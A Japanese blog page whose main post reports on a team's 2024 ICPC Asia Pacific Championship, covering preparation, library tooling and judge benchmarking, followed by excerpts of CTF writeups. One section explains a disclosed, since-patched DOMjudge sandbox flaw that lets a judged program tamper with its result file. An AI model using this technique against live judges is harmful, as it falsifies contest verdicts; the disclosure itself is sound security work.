The 2024 ICPC Asia Pacific Championship 参加記

この記事は、2024/3/2 にベトナムハノイで開催された 2024 ICPC Asia Pacific Championship の参加記です。自分はチーム GoodBye2023 として Yu_212 や shibh308 と参加しました。

Championship とは ICPC の Regional 大会の結果によって招待される Asia Pacific Regional 全体の大会で、World Finals の進出者を選抜するために開催されます。この制度自体は 2020 年からありましたが、情勢の影響で開催が見送られ続けた結果今回が初めての開催となっています。自分たちはいままでは World Finals を狙えるほどの実力があるチームではありませんでしたが、この制度によって World Finals への進出が十分現実的なものとなりました。そのため、我々は真面目に World Finals 進出を目指して練習を積み重ねました。この記事は、その練習と実際の Championship の様子を記した参加記となります。

他のチームメイトの参加記:

yu212.hatenablog.com

AI が考えた参加記のタイトル。DOMjudgeとの一戦って何?

事前準備

作戦

3 人に大きな実力差があるチームではなかったので、事前に役割分担を設けることはしませんでした。ただ、チーム内で一番競技プログラミングが得意なのは Yu_212 だったため、Yu_212 の頭をできる限り働かせることを意識した立ち回りを心がけました。そのため、ライブラリの写経は主に shibh308 が、shibh308 がやることがあった場合は自分が担当することになっていました。

また、初動については予め細かく決めておきました。Championship では横浜のように序盤だけ難易度順といったことがなさそうなため、序盤に複数問問題を読んでおくことになりそうです。自分と shibh308 が比較的英語を読むのが得意だったため問題を読むことに注力し、その間にPC のセットアップを Yu_212 に行ってもらうこととしました。

GitHub の Issue にまとめた開始時にすることリスト

また、問題数が多く問題の把握ができないことが多かったため、問題の簡単な概要と誰が読んだかを記すシートを作成して運用することにしました。他には作戦といった作戦は事前に決めていませんでしたが、練習で詰まったポイントはシステマチックに判定できるようにしていました。例えば、「序盤の簡単な問題で誤答を出したり 20 分以上実装が詰まった場合は問題から引き剥がす」、「サンプルが弱い問題は手が空いている人が実装中にサンプルを作成する」といった具合にです。

練習

12 月は月末にある SECCON の決勝大会に注力したかったこともあり、時間はあったものの練習はほとんど行いませんでした。1 月はチームメイトが帰省していたので 7 日の OUPC が初練習となり、その後から本格的にチーム練を開始しました。最初の方はチームとしての動きのミスが目立ったものの次第に減り、15回ほど練習するうちにチームとしての動きのミスはほぼなくなったと思っています。後で数えたところ、合計では 22 回練習を行っていたようです。大学のプリンタは一ヶ月で一人 200 枚しか印刷できないのですが、それを 3 人分 2 ヶ月フルに使ってもなお足りないほどの問題文とコードを印刷することになりました。

練習部屋にある印刷した紙の置き場。自分たちが印刷した紙でほぼ満杯になった。

また、本番の環境が 去年の World Finals の環境と全く同じであるという情報が選手間のチャットで回ってきたため、それに気がついてからは Virtual Box 上にインストールした WF OS を用いて練習を行いました。WF OS のインストールには非常に時間がかかったため、一通りのセットアップまで終わらせた後のイメージを保存しておき、そのイメージをクローンする形で毎回の練習を行いました。このように毎回環境がリセットされているのは、開始時に準備する担当のチームメイトにとってよい練習となったと思います。

Virtual Box の画面。最後の4(+1)回の練習は WF OS で行った。

ライブラリ整備

Championship では、World Finals と同じように持ち込めるライブラリの枚数に制限がありそうでした。今まで用いてきたライブラリは両面印刷で30ページ弱ありましたが、持ち込むライブラリは片面印刷で25ページに抑える必要がありました。よって、今まで持ち込んでいたライブラリから大幅に削らなければなりません。

環境

PDFの生成は、一般に非常に面倒くさいことが知られています[要出典]。そのため、やらなければいけないとは思いつつ面倒でなかなか手がつけられませんでした。1月末くらいに流石にそろそろ整備しないと間に合わないという雰囲気が出てきていたため、重い腰を上げて 1/22 のバチャ終了後に徹夜して大枠を整えました。管理は GitHub の Private Repository で行い、PDF まわりは基本的には迷路さんの方法を参考にしました。ただ、この方法はTeXに依存しているために環境構築が面倒になっています。チームメイトがいじるときにTeXの環境構築などの障壁がないよう、docker さえインストールしてあれば make コマンド一発で PDF がビルドできるような環境も整えました。しかし、手元で make pdf を叩いて PDF を生成したのは結局自分だけだったようです。一体どうして……

しかしこの整備が無駄足だったかと言うと決してそんなことはなく、簡単に GitHub の CI に乗せることができました。これにより、最新版の PDF が常に Release からダウンロードできる環境を整えることができました。整備した理由はPushするとReleaseが走るCIがあるとオタク的にアガるというしょうもない理由でしたが、実用的にも割と役に立った気がしています。最終的に、これは出先でライブラリの内容を確認したり、チームメイトが更新の結果をチェックするための手段となっていたりしました*1

また、CIを整える過程でCIの出力にいろいろな情報を出したほうが便利そうだということがわかったので、合計ページ数やページ数を食っているライブラリなどの情報を出力するようにしました。

持ち込んだライブラリのRelease
中身

今まで使用していたライブラリが beet さんのものだったため、それをベースとすることにしました。とりあえず今持っているコードをすべて突っ込んだところ 110 ページくらいになってしまったため、チームメイトといる / いらないの選別を行ってライブラリ数を減らしていきました。このときに GitHub のProjectsを使って整理したのですが、これがなかなか使いやすかったです。

選別のようす

これでひとまず 23 ページ程度には収まったのですが、必要そうなライブラリを追加していく過程でまた膨れ上がっていきました。結局 27 ページ程度まで膨れ上がりましたが、PDF の各所にあるマージンを徹底的に削ったり、空白や改行を削って一行に押し込んだりする自明な改善で 3 ページほどページ数を削減することで解決しました。

それぞれ改善前 / 改善後

このようなちまちまとした作業は最初にライブラリの環境を整備したのが自分だったためかほとんど自分がやっており、貧乏くじを引いてしまったとよく愚痴をこぼしていました。それはそれとして自分が満足するライブラリを作ることはできたのでよかったのかなとは思っています。

ハッシュ

いままでのライブラリにも写経チェック用のハッシュがありましたが、チームメイトがハッシュの使用に対してかなり強く反対していたために使用していませんでした。しかし、練習で写経チェックの時間が嵩んだことや写経ミスが相次いだことから、何らかの方法でハッシュを導入しないといけないとも考えていました。
チームメイトがハッシュに反対していた理由は主に「C++で書かれたハッシュプログラムの写経に時間がかかる」「for 文を補完で出すなどでライブラリを完璧に写していない場合にハッシュが無効となる」という理由でした。これらについては、行毎にハッシュを出力するシェルスクリプトを書くことで解決し、ハッシュを導入することができました。

ハッシュの手法としては、CLI で簡単に扱えて軽量な MD5 を用いました。ただ、行毎にハッシュ全体を乗せることは到底できないため、各行にはハッシュのうち何文字かだけ乗せることになります。ハッシュの文字数は多ければ多いほど衝突の確率は減りますが、同時に横幅も占有してしまうことになります。なので、写経でミスをした際にどの程度までの確率ならば許容するかを考えながらハッシュの文字数を選定しました。ハッシュは hex で出力されるため、2文字であれば256種類、3文字であれば4096種類の空間となります。これは完全に主観ですが、1/256 の衝突は実際に起こりそうですが、1/4096 であれば起こったら笑い話にできるレベルで起こらなそうです。なので、基本的にハッシュは 3 文字にすることにしました。

また、このハッシュを実際に運用するためにはライブラリ側にハッシュを出力しなければいけません。ライブラリのルールには "Text and illustrations must be readable by a person with correctable eyesight without magnification from a distance of 1/2 meter." と記されており、あまりにも小さい文字では持ち込むことができなさそうです。correctable eyesight の意味がうまく取れませんでしたが、「矯正して到達可能な視力の人間が 0.5 m から読めるサイズ」と解釈し、裸眼の視力がかなり悪い自分が矯正後に 50 cm 離して余裕で読むことができるサイズに抑えました。そうはいっても多少は怖かったため、6 pt の 3 文字バージョンと、9 pt の 2 文字バージョンの 2 部を持ち込みました。

ジャッジ環境の調査

DOMjudge の調査

ICPC では、DOMjudgeというオープンソースのジャッジ環境を使用することが一般的です。このジャッジが CodeforcesAtCoder といった慣れ親しんだジャッジと違う挙動をしている可能性に惑わされることがないよう、事前に DOMjudge のコードを実行する部分を読んで知識をつけておくことにしました。……というのは建前で、実際のところは ICPC 練習で CTF などへの参加を諦めていたためにパソコン欲が満たされていなかったことによる一種の発作のようなものだったと思います。

まずは DOMjudgeを自分のPCで動かすことにしました。このようなソフトウェアは動かしにくいイメージがあったのですが、少し調べるとDocker のイメージが公開されており比較的簡単に動かせました。

DOMjudgeのAdmin側画面のようす

DOMjudge はWebアプリ側を担当するサーバー(domserver)と、ジャッジを担当する judgehost と呼ばれるサーバーとに分かれています。judgehost は複数台登録することができ、これを用いて多くの提出を並列に捌くことが可能となっています。これらのうち、今回興味があるのは judgehost の、特に提出したプログラムを実行する部分です。これはrunguard.ccというプログラムと、それを実行するtestcase_run.shというシェルスクリプトが担当しています*2

これらを眺めると、runguard はコンパイルされたバイナリに各種制限をつけた上で実行しており、testcase_run.sh は runguard の実行結果が書かれた program.meta というファイル及び output を解析して verdict を返すスクリプトであることが分かります。

次に、 runguard が何をやっているかを詳しく読みました。このプログラムは先程も述べたとおり、バイナリに制限をかけた上で実行するものです。この制限 は setrestriction という関数で主に行われています。このコードを読むと、どのような制限がかかっているかを詳しく理解することができました。制限の値は runguard を実行する際のパラメータで指定できるのですが、DOMjudge の標準で指定されているパラメータでは以下のような制約がかかっている(はず)です:

  • chroot を用いた制限
    • プログラム毎に別のルートディレクトリを用いるようにしている
  • ファイルのパーミッションを用いた制限
    • 実行用のグループ及びユーザーを用いることで、ファイルの作成及びすべての書き込みを禁止している
  • rlimit を用いた様々な制限
    • メモリ及びスタックサイズは無制限としている
      • メモリは cgroup を用いて制限している
    • プログラムが書き込めるファイルサイズを OLE の値としている
      • 最大で用いることができるプロセス数を 64 としている
    • CPU 時間を ceil(max(実行時間+1, 実行時間*1.1)) 秒に制限している
      • rlimit では 1 秒単位での時間制限しかつけることができない
  • 自プロセスの cgroup への登録
    • 詳細は後述

また、cgroup と呼ばれる機能を用いてプログラムが使用できるリソースをコントロールしています。これは主にメモリの使用量を制限するために用いられていますが、実行する CPU のコアなどを細かく指定することもできるようです。おそらく、実行されるコアによる不公平さを回避するための機能だったりするのでしょう。

勘のいい方ならお分かりでしょうが、ここまででは実行時間制限に関する厳密な制約は一つも出てきていません。これは、詳細な実行時間は別の部分で管理されているからです。このプログラムは自身を fork することで実行途中から監視用の親プロセスとバイナリ実行用の子プロセスに分岐しています。親プロセスの具体的な役目は、プログラムの終了を待った後に出力を保存し、プログラムの実行結果に関する情報を解析して metafile と呼ばれるファイルに書き込むことです。実行に用いた詳細な CPU 時間は cgroup の情報から得ることができ、親プロセスはこれを用いて TLE などの判定をしているのです。また、一つのプログラムがジャッジを占有してしまうことを防ぐため、ある程度時間が経過した後にプログラムを強制終了する処理も行われています。IO 処理など CPU 以外の部分で時間がかかっていた際に誤ってプロセスを終了してしまうのを防ぐため、プロセスを終了するまでの時間は実行時間制限より多少長めに確保されています。

これまでの流れを簡易的にまとめると、以下の通りとなります*3

parse_option(); // コマンドラインオプションをパースする
open_metafile(); // 実行結果を格納するファイルを作成する

int pid = fork();
if (pid == 0) {
  // 子プロセスの場合だけ実行される
  setrestrictions(); // 自プロセスに制約を追加する
  run_binary(); // バイナリを走らせる
}
else {
  // 親プロセスの場合だけ実行される
  redirect_output(); // 子プロセスの実行結果を保存するファイルを作成する
  
  settimeraction(terminate); // timer の終了時にプログラムを強制的に終了
  settimer(hard_limit); // timer を設定。デフォルトでは max(TL*1.1, TL+1sec)
  
  wait(pid); // 子プロセスの完了を待つ
    
  read_program_output(); // 子プロセスの出力を読み取り、ファイルに保存
  
  check_statuscode() // ステータスコードを元に RE をチェック
  output_cgroup_stats() // cgroup の情報から TLE や MLE をチェックし、結果を metafile に書き込み
}

このような調査をしている最中、このプログラムに潜在的脆弱性があることに気が付きました。これは、fork の前に open_metafile が実行され、open されたファイルが run_binary の前に close されていないことで発生しています。Linux では、fork や別プログラムの実行を行っても開いているファイルは子プロセスや別プログラムに受け継がれます。そのため、本来ならば監視プロセスしか書き込むことができない metafile にジャッジ対象のプログラムが書き込むことができてしまいます。これを用いると、metafile を改ざんして実行結果を偽装することができてしまいそうです。

ここからはこの脆弱性もどきについての話をしますが、これはしかるべき窓口を通して報告をした結果修正パッチがすでにリリースされており、公知のものとなっていることは申し添えておきます。

真っ先に思い至ったことは、実行時間制限を一秒程度伸ばすことができる可能性についてでした。前述した通り、プログラムが強制終了されるのは実際の実行時間制限より少し長い時間が経過した後です。そのため、どうにかして TLE であったという事実を覆い隠すことができれば実行時間制限を超えて実行できそうです。しかし、結論から言えばこれを行うことは不可能そうでした。なぜならば、実行時間制限を超えたことはあるパターンにマッチする文字列が metafile 内に存在するかで判定されており、かつプログラムが完全に終了された後に metafile を書き換えることが不可能だったためです。ただ、metafile に特定の文字列を書き込むことで、どんな実行時間のプログラムでも TLE として処理させることができそうです。これにより、夢の(?) 1 msでTLEを取得することが可能となりました。

プログラムが完全に終了された後に metafile を書き換えることが不可能であるということは、既存の metafile の先頭にコンテンツを追加することのみが可能であるということです。metafile のパースが tag, content = line.split(": ") のように行われているため、通常 metafile の 1 行目にあるメモリ使用量の tag を破壊して任意のメモリ使用量に置き換えることができそうです。これを用いることで、ありえないメモリ使用量(負など)を申告することができました。
また、普段は文字列が入ることが想定されていない特殊なタグに対して文字列を挿入することも可能となりました。例えば、送出された signal を示す tag に文字列を入れることで DOMjudge の提出詳細画面に任意の文字列を表示させることが可能となりました。ここで XSS などができれば立派な脆弱性だったのですが、Webフレームワークが入力文字列をエスケープしていたことにより XSS を行うことはできませんでした。他にも ReDoS などについても考えましたが、 metafile が通される正規表現はどれも ReDoS を行うことが不可能なものだったために成立しませんでした。

このバグを用いて改ざんした提出結果

このように全くもって悪用することが不可能そうなバグでしたが、潜在的に危険ではあることは確かなために DOMjudge のセキュリティ報告窓口を通じて報告しました。その日のうちに対応して下さり、とても有難かったです。

ジャッジサーバーの調査

競技の10日前ほどに Judge Manual が公開され、そこには実際に使用される GCPインスタンスが記されていました。そのため、実際に同じインスタンスを借りて様々なコードの実行速度を調査しました。実行したコードは unordered_map やmap に要素を追加するコードや bitset のコード、そして各配列要素に対して xorshift のようなことを行うコードです。特に後者二つについては SIMD 化の影響をテストしたかったため、pragma を追加した場合とそうでない場合それぞれについてテストしました。また、それぞれのコードはAtCoderおよびCodeforcesでも実行し、慣れ親しんだジャッジとの速度の差についても意識できるようにしました。実行結果(ミリ秒)は以下の通りです*4。なお、実際に実行したコードはgistに公開しています。

unordered ordered vectorize vectorize_opt bitset bitset_opt
AtCoder 323 1104 - 720 - 656
Codeforces 732 1466 5506 717 5506 889
GCP 491 1190 1329 386 1694 479

これを見ると、SIMD化が関わらない場面ではAtCoderのジャッジとほぼ同等、SIMD化が関わる場面では2倍弱程度の高速化になっていることが分かります。そのため、Codeforcesで行っている普段の練習のような感覚で提出しても問題ないことが分かりました。

ただ、これは「本番のジャッジ環境がPDFに記されている通りであれば」の話です。今回の運営は横浜のような手練れの方々ではなさそうなため、掲載されているPDFはあまり考えず何らかのファイルをコピーしてきているだけという可能性も十分にあると考えていました*5。そのため、本当に示された通りの環境で動いているかをPractice中に確かめるためのコードを事前に用意しておくことにしました。

普段であれば /proc/cpuinfo に特定文字列が入っているかを確かめるコードを書けば十分でした。しかし、今回は前項で触れた通り chroot によってファイルにアクセスできないようになっているためにそれを行うことはできません。追記: procfs はマウントされていました。なので、普通に assert(WEXITSTATUS(system("grep 'XXX' /proc/cpuinfo")) == 0); とすれば良さそうです。CPUID命令というCPUに関する様々な情報を取得することができる命令を用いてCPUのブランド文字列を取得し、それが事前にチェックしていたものと等しいかどうかを確かめるようなコードを用意しました。コードは以下のような形となりました。

#include<stdio.h>
#include<string.h>
#include<assert.h>
int a[4];
void brand_string(int eax) {
  if (eax == 1) {
    __asm__("mov $0x80000002 , %eax\n\t");
  }
  if (eax == 2) {
    __asm__("mov $0x80000003 , %eax\n\t");
  }
  if (eax == 3) {
    __asm__("mov $0x80000004 , %eax\n\t");
  }
  __asm__("cpuid\n\t");
  __asm__("mov %%eax, %0\n\t":"=r" (a[0]));
  __asm__("mov %%ebx, %0\n\t":"=r" (a[1]));
  __asm__("mov %%ecx, %0\n\t":"=r" (a[2]));
  __asm__("mov %%edx, %0\n\t":"=r" (a[3]));
}

void get_brand(char* buf) {
  int* ibuf = (int*)buf;
  brand_string(1); memcpy(ibuf+0, a, 16);
  brand_string(2); memcpy(ibuf+4, a, 16);
  brand_string(3); memcpy(ibuf+8, a, 16);
}

int main(){
  char buf[12*4+1]{0};
  get_brand(buf);
  char* expected = "           Intel(R) Xeon(R) CPU @ 3.10GHz";
  assert(strlen(expected) == 41);
  assert(strcmp(expected, buf) == 0);
  puts(buf);
}

このCPUはGCPのマニュアルにも具体的なモデル名は書かれていませんでしたが、CPUのブランド文字列を見る限りカスタムモデルとなっているのだと思います。

コンテスト

力尽きてきたので軽めに書きます。他のチームメイトが詳細に書いてくれるでしょう。(参加記とは……?)

Practice

Practice Session は開会式を終えて昼食を食べた後に行われました。我々は事前に Practice でやることを GitHub に纏めていたのですが、Practice ではドキュメントと医療品以外は持ち込み禁止とのことだったので急遽予備のライブラリ群に書き写して持ち込むことにしました。ハンドクリームやウェットティッシュ等が許可されているかが不明でしたが、堂々としていたら持ち込むことに成功しました。

セッション中に日本でむちゃくちゃ買い込んできたお菓子を明日持ち込めるか聞いたところ、する場合は今日中に入れておく必要があるとのこと。ホテルにあるから今すぐ帰るべきか?と若干の圧をかけると、当日の持ち込みも許可されました。同様に同一のライブラリを 3 部まで持ち込んで良いと言われたので「それは事前に告知されていなかった、不公平だ」とゴネたところ印刷してもらえることになりました。むちゃくちゃ負荷をかけている気がして少し申し訳なくなりましたが、まあ事前にこういう部分を公開していない方も公開していない方だよね……ということで。

しばらくするとコーチ陣が電子機器などを携帯して入ってきていたので、あの書き写した努力は一体何だったのかという気持ちになりました。後半は言えば電子機器を持ち込めたのでしょうか……。

コンテスト中

  • 開始前: 風船の色数を数えていました。自分たちは 12 色という結論に至りました。
  • [0:00]: 事前の相談通り、Yu_212 がパソコンのセットアップをしている間に自分が前から、shibh308が後ろから問題を読みました。読んでいる間に shibh308 が H に簡単枠がありそうということで Yu_212 に伝え、実装していました。
  • [-0:10]: ちょうど実装が完了したくらいで、自分と shibh308 を合わせてすべての問題が読めている状態になりました。提出前に shibh308 がコーナーケースを指摘して修正などをしつつ、提出をしました。が、その提出は WA となりました。
  • [-0:20]: このような状況では他の人と交代すると決めていたため、コードを印刷して自分がデバッグをすることにしました。印刷を待っている間に解けそうな問題(C, D, E)を Yu_212 に説明し、説明が終わったくらいのタイミングで印刷が到着。少し眺めた後にバグがわかったので、Yu_212 に修正してもらいました。それを提出して AC。
  • [-1:00]: この段階で C が解けそうに見えてきたため C に集中することにし、D と E を yu_212 に任せます。暫くすると J が Yu_212 によって解けていて、実装を Yu_212 が shibh308 に任せていそうな雰囲気が伝わってきました。shibh308 がそれを実装した上で提出し、AC。
  • [-1:15]: 確かこのあたりで C はほぼ解けていて、提出をし、assertion で RE を出すみたいなことをしていた気がします。
  • [-1:30]: このあたりでさっき投げた E が解かれていました。Cはまだバグっています。本当に C で沼に嵌っていたため自分から Yu_212 に Help を出し、一旦デバッグを交代してもらう代わりに結構解かれていた G などを考えることにします。
  • [-2:20]: トイレに行ったら C のバグのケースがなんとなく分かったので帰って報告すると、Yu_212 も同時に同様のケースを見つけていたよう。ここからは自分だけで修正できそうなので Yu_212 は他の問題に行ってもらうことにして、修正しました。提出したら AC。
  • [-2:40]: とりあえずとても解かれている G を考えながら何もわからないなあと言っていたら、shibh308 が解けたらしいので解法を聞きます。合っていそうで実装で詰まる要素もあまりなさそうなので、とりあえず実装してもらうことに。やる問題がなくなったので、解くことがほぼ必須になりそうな F を考えることにします。
  • [-3:00]: F を考えていたところ、なんとなく解けていそうな雰囲気が漂ってきました。それはそれとして解法が簡単すぎたので一回 shibh308 に確認を取ると、問題を途中で取り違えていたことに気が付きます。気を取り直してもう一度考えると、もう一度解けていそうな雰囲気が漂ってきました。今度は合っていそうだったため、実装を詰め始めました。このタイミングで K が解けたり解けていなかったりしていた気がします。
  • [-4:00]: K の実装が詰まったタイミングを見計らって、F の実装を開始しました。あと 2 時間で K と F を 2 問通さなければいけないという多少ハードな状況だったため、速度は求めずに安全側に倒した実装を心がけました。具体的には、愚直解の一部を書き換えれば AC が取れる解になるタイプの問題だったため、まず愚直解から書き、その解の二乗を線形に落とすような修正を加えるという方法を取りました。これをすると、バグった際にランダムテストを回しやすい実装となります。実装できたので提出しますが、TLE。入出力高速化が何故か消えていたことが shibh308 に指摘されたのでそれを修正しましたが、なおも TLE でした。すべての関数呼び出しを削除し、vector を生配列に修正して提出すると、WA となりました。
  • [-4:55]: K のデバッグが最優先だったため、F は印刷した紙の上でデバッグすることに。K はもうペナルティを気にする段階でなかったため assert を用いてデバッグしていて、その間に自分が F を紙の上でデバッグしました。一箇所で参照する配列を間違えていたことに最後の 6 分くらいで気が付き、パソコンを 30 秒奪い取って修正し、提出をすると AC。
  • [-5:00]: もう自分ができることはなくなりました。あとは Yu_212 が K を合わせてくれることを祈りながらタイマーを眺めていましたが、最後まで合わずに競技時間が終了。

結果として、26位(大学別順位18位)という自分たちからすれば失敗の結果に収まりました。例年は Asia から 16-18 チーム程度の World Finals 進出チームが出るため、ギリギリで落ちている可能性が濃厚という成績のようです。

コンテストワクワク要素
  • 机の配置で文字を書いていました。自分たちは被害を被るような場所ではなかったので、あまり文句は言いません。
  • 問題を後ろから読む担当の shibh308 の問題文から最後の問題が抜けていました。幸い最後は難しめの枠でしたが、これで簡単枠だったら割と悲惨なことになっていたと思います。
  • 競技中にシェルの履歴を遡っていたら Practice 時の履歴まで遡れてしまって戸惑いました。CLion の shell だけ変なところに履歴がありリセットし忘れたみたいな話かな?と思いましたが、競技後に確認すると .bash_history に昨日の履歴が残っていました。
  • 向かいの Bocchi The Tech の声が壁越しに貫通してきて、普通にところどころ何を言っているか聞こえる場面がありました。具体的には、問題管理シートを書いていた Yu_212(12 問だと思い込んでいる)が 13 問らしいという情報を得る、高度合成数の話をしているのが聞こえてくるなどがありました。
  • 昼食のサンドイッチを配ってくださっていた方が、コンテスト中にカントリーマアムを指差して "Is this your countrie's cookie?" のようなことを話しかけてきた気がします。本当にびっくりしましたが、とりあえず適当に返していたら "Did you bring it from your country?" みたいなことまで聞いてきて「普通に会話する気あるんだ……」ともう一度びっくりしました。早く会話を終わってほしそうな雰囲気を出していたら次に行ってくれました。
  • どこかの国のコーチ二人が選手も使うトイレでタバコを吸いながら普通に会話していてびっくりしました。

コンテスト後

K が本当になぜ通らなかったのか分からなかったので、提出したコードを写真に撮ったうえでホテルに帰ってから OCR をしてコードを復元し、CF のミラーコンテストに提出してデバッグすることにしました。ここでそもそも入力からオーバーフローしていることに気が付き、一同驚愕……。#define int long long をしたところ無事通りました。悲しいね。

翌日のクルーズでは Speed Star の方々や日本から Technical Comittiee や作問として関わっている方とお話しさせて頂きました。ICPCの昔話や苦労話などいろいろなお話が聞け、とても刺激的でした。特に自分はジャッジシステム側の構成に興味がある身だったので、実際のオペレーションや構成がどうなっているかの話を(もちろん言える範囲で)聞けたのはとても興味深かったです。我々学生がこうして ICPC を楽しめるのは、本当にいろいろな方の尽力のお陰だというのを改めて感じました。

来年への抱負

去年までは完全に競技プログラミング引退老人卍という気持ちだったんですが、まだ World Finals も狙えそうだし現役競技者だぜという気持ちになったのでこれからも競技プログラミングを続けたいと思います。目指せ World Finals!

*1:手元でチェックするほうが簡単だと思うんですけれどもね……

*2:他にも domserver と通信をしてtesctase_run.sh を実行する judgedaemon.main.php も面白いといえば面白いですが、あまり本質的な情報はなかったために今回は省略します

*3:リソースの後処理などは除いています

*4:AtCoderはすでにpragmaとほぼ同等の最適化が行われているために pragma なしは省略

*5:実際はジャッジの準備などは横浜の方々が行ってくださっていたようです。本当にありがとうございます。そのため、PDF なども環境に合わさったものとなっていました。

SECCON CTF 2022 Quals Writeup / 参加記

概要

この記事は、2022 年 11 月 12 日から 11 月 13 日にかけて開催された SECCON CTF 2022 Quals の Writeup です。今年の SECCON CTF は 3 年ぶりにオンサイトでの本戦が復活し、本大会はその予選大会としての位置づけとして開催されました。

自分は昨年に引き続き st98 さんを誘い、2 人チーム _(-.- _) )_ として参加しました。結果として、15 問を通して 1955 点を獲得し、全体 22 位 / 国内 3 位となりました。ここでは、そのうちで自分の通した 11 問についての解法を記します*1

他のメンバーの Writeup:

nanimokangaeteinai.hateblo.jp

這ってでも旗を取りに行く気概
  • 概要
  • writeup
    • [welcome] welcome*2 (700 solves / 14:00)
    • [pwn] koncha (111 solves / 14:00-14:31)
    • [crypto] pqpq (112 solves / 14:31-15:28, 16:47-17:28)
    • [misc] find flag (100 solves / 15:28-15:44)
    • [rev] babycmp (176 solves / 15:44-16:20)
    • [crypto] this_is_not_lsb (34 solves / 18:15-19:02)
    • [misc] noiseccon (22 solves / 19:06-22:24)
    • [crypto] BBB (50 solves / 22:09-23:56)
    • [misc] txtchecker (23 solves / 00:06-00:22, 03:34-06:09)
    • [crypto] witches_symmetric_exam (22 solves / 08:54-11:38)
    • [rev] eguite (86 solves / 11:41-12:55)
  • 解けなかった問題
    • [rev] eldercmp (19 solves / 16:21-16:45)
    • [crypto] insufficient (33 solves / 17:32-18:15)
    • [misc] latexipy (8 solves / 05:35-08:53, 12:55-13:59)
  • 感想

*1:ここまでほぼ去年のコピペ

続きを読む

TSG LIVE! 8 CTF Writeup

概要

この記事は、2022 年 5 月 14 日 12:33-14:13 に開催された TSG LIVE! 8 CTF の Writeup です。自分は一人で参加し、1550 点を入れて優勝しました*1。五月祭や駒場祭で開催されるこの CTF は短時間ながら退屈な問題が存在しないCTF で、毎回とても楽しみにしています。今回も期待に違わず CTF のエッセンスが詰まった面白い問題揃いでした。今年の TSGCTF も楽しみですね。

*1:うれし~~~~~!

続きを読む

zer0pts CTF 2022 開催記/Writeup

概要

この記事は、2022 年 3 月 19 日から同 20 日にかけて開催された zer0pts CTF 2022 の開催記です。

  • 概要
  • writeup
    • [pwn] Moden Rome(105 solves)
    • [web] Disco Party(51 solves)
    • [web] Disco Festival(1 solve)
    • [rev] Chirashi-sushi(8 solves)
    • [crypto] OK(9 solves)
    • [web/misc] zer0tp(1 solve)
      • 速習・DEFLATE
      • 速習・Zlib
      • ラクルパート
      • md5 パート
      • 本題
  • 開催記
    • 準備
    • 開催中
  • おわりに

この CTF は所属するチーム zer0pts が開催する CTF で、自分は運営として作問と当日の運用に携わりました。他のチームメイトの開催記/writeup は以下の通りです。

ptr-yudai.hatenablog.com

furutsuki.hatenablog.com

furutsuki.hatenablog.com

続きを読む

SECCON CTF 2021 Writeup / 参加記

概要

この記事は、2021 年 12 月 12 日 から 12 月 13 日にかけて開催された SECCON CTF 2021 の Writeup です。あと CTF Advent Calendar 2021 の 9 日目の記事です*1
SECCON は長らく予選-本戦形式のオンサイト CTF として開催されてきました。しかし、社会情勢の影響もあり、去年に引き続き今年も Jeopardy 形式のオンライン CTF として開催されました。
自分は st98 さんを誘い、2 人チーム (o^_^o) として参加しました。結果として、15 問を通して 2543 点を獲得し、全体 10 位/国内 1 位となりました。ここでは、そのうちで自分の通した Welcome 以外の 9 問についての解法を記します。
また、ついでとして参加記っぽいことも書くことにします。あまり難しい問題を解いていないですし、良質な Writeup は自分が書くまでもないですからね。

なお、st98 さんの Writeup はこちらです:

nanimokangaeteinai.hateblo.jp

旗を持っているみたいで可愛いですね
  • 概要
  • 開始前
  • 開始後
  • [crypto] pppp (117 solves)
  • [misc] s/<script>//gi (115 solves)
  • [pwn] kasu bof (78 solves)
  • [pwn] Average Calculator (56 solves)
  • [rev] <flag> (11 solves)
  • [misc] qchecker (14 solves)
  • [crypto] oOoOoO (26 solves)
  • [rev] dis-me (15 solves)
  • [rev] sed programming (14 solves)

*1:すいませんでした

続きを読む

ICPC2020 国内予選 F - 避難所

ICPC2020 国内予選の F 問題「避難所」の解説です。よく見る解法とは違うアプローチで解いたため、せっかくなので解説記事にしてみました。

問題概要

n頂点m辺 (1\le n,m\le 10^5) の連結で単純な無向グラフGが与えられる。また、各辺E_iには 値A_i(1\le A_i\le 10^5)が割り当てられている。
ここで、G_cを辺集合\{E_i|c\lt A_i\}から構成されるグラフとする(つまり、値c以下の辺を除いたグラフ)。
また、f_{G,i}(c)G_cにおいて頂点iを含む連結成分の個数として定義し、頂点iについて列[f_{G,i}(0),f_{G,i}(1),f_{G,i}(2)\cdots]を考えた時、これを辞書順最大にするようなiを全て求めよ。

続きを読む

ICPC2020 国内予選 参加記

出ました

コンテスト前

延長ケーブルと充電器、手の乾燥対策にハンドクリームを持ってきた。12時くらいに現地について、食堂でご飯を食べてから12:30くらいに演習室についた。人がいるかと思ったけど一人しか居なかった。

開始までかなり時間があって暇だったので、もくもくとMatrix Calculatorや他の500程度の問題を解いたり、初級者の一年生にダイクストラ法を教えるなどしていた。

今年は自PCで事前準備ありだったので、いろいろとコンテスト前にできた/する必要があった。具体的には、

  • Discord/LINEを落とした,PCも含めた全端末の通知を切った
  • ライブラリの検索/貼付用にhttps://beet-aizu.github.io/library/リポジトリをローカルに落とした
  • 事前にテンプレートが入ったクリーンなディレクトリ(a/a.cpp,b/b.cpp,c/c.cpp...) を問題分作るシェルスクリプトを書いてコンテスト前に回す運用をした(コンテスト中にまわして消し飛ばしたらかなり嫌なので、回し終わったらrmした)
  • 拡張とかがいろいろあって間違って変なものをクリックしたら嫌だったので、chromeのプロファイルを新規作成した
  • VSCodeのデバッガが狂うので、CTF用に改造されたgdbをデフォルトに戻した
  • ID/passをローカルファイルに落とした

等をした。これは2週間前くらいから持ち物等と一緒にリストアップしていた。

10分前くらいに喉が痛かったのでのど飴を買った。そこそこ効いたと思う。

それと打ち上げがコンテスト終了後20分で開始らしく、かなり慌ただしくなることが予想されたので事前にある程度出れるようにはしておいた。

コンテスト中

始まった。と同時にDBが壊れているとのエラー。リロードしなおせば治ってるだろとか思いながら何回かリロードしても駄目で、シークレットブラウズでログインし直すも駄目みたいだった。さようなら……

こどふぉった後に開始時刻のアナウンスがまたあるだろうとか言いながら、突然繋がったら嫌なので5秒間隔くらいでF5を押していると突如繋がる。も、practice前の様子。

打ち上げの開始時刻の心配や運営チームの心労の心配とかをしながら引き続きリロードをしていると、状態がpracticeになっていた。今ならFA取れるぞとか冗談をいいつつ順位表をリロードすると、問題が8個くらいあることに気がつく。始まってね?

Aを見る stringにしてsubstrとかをすることが頭を過るも、Aなので何も考えずa[i-3],a[i-2],a[i-1],a[i]を比較するコードを書く。通る。4分

